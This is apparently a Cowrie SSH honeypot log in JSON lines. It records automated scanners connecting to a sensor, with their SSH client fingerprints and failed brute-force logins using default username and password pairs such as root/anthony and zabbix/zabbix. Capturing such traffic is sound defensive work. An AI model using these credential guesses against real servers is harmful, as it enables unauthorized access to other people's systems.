{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50312,"dst_ip":"159.203.135.109","dst_port":22,"session":"16d8eef82ee5","protocol":"ssh","message":"New connection: 83.168.110.85:50312 (159.203.135.109:22) [session: 16d8eef82ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:16.009796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:16.016857Z","src_ip":"83.168.110.85","session":"16d8eef82ee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:16.138261Z","src_ip":"83.168.110.85","session":"16d8eef82ee5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:16.501697Z","src_ip":"83.168.110.85","session":"16d8eef82ee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:17.716363Z","src_ip":"83.168.110.85","session":"16d8eef82ee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":33326,"dst_ip":"159.203.135.109","dst_port":22,"session":"13032f051b38","protocol":"ssh","message":"New connection: 152.32.171.99:33326 (159.203.135.109:22) [session: 13032f051b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:26.378039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:26.386229Z","src_ip":"152.32.171.99","session":"13032f051b38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40332,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b6537035197","protocol":"ssh","message":"New connection: 83.168.110.85:40332 (159.203.135.109:22) [session: 5b6537035197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:26.393980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:26.398497Z","src_ip":"83.168.110.85","session":"5b6537035197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:26.519157Z","src_ip":"83.168.110.85","session":"5b6537035197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:26.604957Z","src_ip":"152.32.171.99","session":"13032f051b38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:26.881926Z","src_ip":"83.168.110.85","session":"5b6537035197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stue","message":"login attempt [root/stue] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:27.513487Z","src_ip":"152.32.171.99","session":"13032f051b38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:28.112961Z","src_ip":"83.168.110.85","session":"5b6537035197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:28.735634Z","src_ip":"152.32.171.99","session":"13032f051b38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37220,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce927c46120f","protocol":"ssh","message":"New connection: 83.168.110.85:37220 (159.203.135.109:22) [session: ce927c46120f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:36.566525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:36.571309Z","src_ip":"83.168.110.85","session":"ce927c46120f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:36.692058Z","src_ip":"83.168.110.85","session":"ce927c46120f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:37.053893Z","src_ip":"83.168.110.85","session":"ce927c46120f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:38.285492Z","src_ip":"83.168.110.85","session":"ce927c46120f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52482,"dst_ip":"159.203.135.109","dst_port":22,"session":"75f026c41d0d","protocol":"ssh","message":"New connection: 83.168.110.85:52482 (159.203.135.109:22) [session: 75f026c41d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:46.999844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:47.006347Z","src_ip":"83.168.110.85","session":"75f026c41d0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:47.128524Z","src_ip":"83.168.110.85","session":"75f026c41d0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:47.493123Z","src_ip":"83.168.110.85","session":"75f026c41d0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":54798,"dst_ip":"159.203.135.109","dst_port":22,"session":"04aea67c0fa1","protocol":"ssh","message":"New connection: 160.251.185.39:54798 (159.203.135.109:22) [session: 04aea67c0fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:47.706202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:47.715439Z","src_ip":"160.251.185.39","session":"04aea67c0fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:47.887959Z","src_ip":"160.251.185.39","session":"04aea67c0fa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anthony","message":"login attempt [root/anthony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:48.602306Z","src_ip":"160.251.185.39","session":"04aea67c0fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:48.693061Z","src_ip":"83.168.110.85","session":"75f026c41d0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:49.779167Z","src_ip":"160.251.185.39","session":"04aea67c0fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58810,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad1e90ff1828","protocol":"ssh","message":"New connection: 83.168.110.85:58810 (159.203.135.109:22) [session: ad1e90ff1828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:57.432993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:57.443441Z","src_ip":"83.168.110.85","session":"ad1e90ff1828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":46890,"dst_ip":"159.203.135.109","dst_port":22,"session":"260db64a8c54","protocol":"ssh","message":"New connection: 103.118.29.129:46890 (159.203.135.109:22) [session: 260db64a8c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:57.454096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:57.463197Z","src_ip":"103.118.29.129","session":"260db64a8c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:57.556654Z","src_ip":"83.168.110.85","session":"ad1e90ff1828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:57.701713Z","src_ip":"103.118.29.129","session":"260db64a8c54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:58.030729Z","src_ip":"83.168.110.85","session":"ad1e90ff1828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bnc","message":"login attempt [root/bnc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:58.689030Z","src_ip":"103.118.29.129","session":"260db64a8c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:59.192689Z","src_ip":"83.168.110.85","session":"ad1e90ff1828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:59.929999Z","src_ip":"103.118.29.129","session":"260db64a8c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":24648,"dst_ip":"10.17.0.5","dst_port":22,"session":"da1e8959fc75","protocol":"ssh","message":"New connection: 38.93.206.2:24648 (10.17.0.5:22) [session: da1e8959fc75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:00.993790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:01.001067Z","src_ip":"38.93.206.2","session":"da1e8959fc75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ss